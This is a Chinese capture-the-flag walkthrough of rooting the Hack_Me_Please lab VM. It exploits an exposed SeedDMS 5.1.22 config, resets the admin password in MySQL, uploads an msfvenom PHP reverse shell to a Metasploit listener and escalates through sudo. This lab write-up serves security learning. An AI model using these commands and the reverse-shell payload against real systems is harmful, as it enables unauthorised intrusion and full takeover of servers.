Hack_Me_Please靶机渗透过程

准备环境

攻击机:WSL-Kali-Linux
目标靶机:Hack_Me_Please
平台:VMware Workstation 16.2
靶机为NAT模式

一、信息搜集

1.主机嗅探

VMware这边直接显示靶机的IP了,这边就懒得去进行主机嗅探了

1

2.端口扫描

对靶机进行端口扫描

nmap -A -p- 192.168.9.128

2

由扫描结果可知。该靶机已开放如下端口

端口服务版本
80http Apache(Ubuntu)2.4.41
3306Mysql8.0.25
33060Mysqlx/

可见,22端口处于关闭状态

3.访问其web页面

3

经过一番操作并没有发现网页上有任何可用信息

4

通过目录扫描也没发现特别之处

5

查看其源码,从js下手,终于在第384行发现main.js文件,也就是该靶机入手的关键

6

点击访问该js文件,就在下边不远处,发现一个关键点

7

发现是一个seeddms的文件管理系统,且其版本号为5.1.22

二、漏洞挖掘

1.寻找程序漏洞

通过Google该管理系统,能够看到其程序源码

9

源码目录下有个名为conf的文件夹,里面有个名为settings.xml的配置文件

10

尝试访问靶机的settings.xml文件

http://192.168.9.128/seeddms51x/conf/settings.xml

11

发现网站程序绝对路径

12

发现网站数据库用户名和密码

13

用户名为seeddms,密码为seeddms

2.对seeddms主程序进行目录扫描

dirsearch -u http://192.168.9.128/seeddms51x/seeddms-5.1.22/

14

发现登录页面

15

三、漏洞利用

1.连接目标数据库

mysql -h 192.168.9.128 -useeddms -p

15

查看所有数据库

show databases;

17

存在seeddms数据库,列出其包含的所有表

show tables;

18

发现几个可疑表:tblDocumentContenttblUsersusers

先查看tblUsers里面的内容

select * from tblUsers;

19

有用户admin和被md5加密的密码,可以对admin的密码强制更改为md5加密后的123456,以达到完成对admin密码的更改的目的,123456进行md5加密之后为e10adc3949ba59abbe56e057f20f883e

update seeddms.tblUsers set pwd = 'e10adc3949ba59abbe56e057f20f883e' where id =1;

2.后台登陆

可以去后台使用admin123456完成登录

20

可以看到有上传入口,该版本含有文件上传漏洞

22

使用msf生成木马上传

msfvenom -p php/meterpreter_reverse_tcp lhost=172.20.236.69 lport=9999 -e -f raw > 1.php

对该木马进行上传

23

查看该木马文件的物理路径

select * from tblDocumentContent;

24

4/目录下,访问该木马文件

3.反弹shell

同时启动监听

# 使用监听模块
use exploit/multi/handler
# 设置本地监听服务器
set lhost 172.20.224.58
# 设置本地监听端口
set lport 9999
# 设置监听有效载荷
set patload php/meterpreter_reverse_tcp
# 查看配置信息
show options
# 运行
run

25

进入shell并设置回显

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

26

查看home目录下有哪些用户

ls -lha /home

27

发现只有saket用户,回想起刚才数据库中的users表,查看users表里面的内容

28

猜测这就是用户saket的密码,进行测试

su saket
Saket@#$1337

成功登录saket用户,查看其权限

sudo -l

29

用户能以root身份执行所有命令,可以直接免密切换为root账户

sudo su

30

成功拿到root用户

目标靶机已完成渗透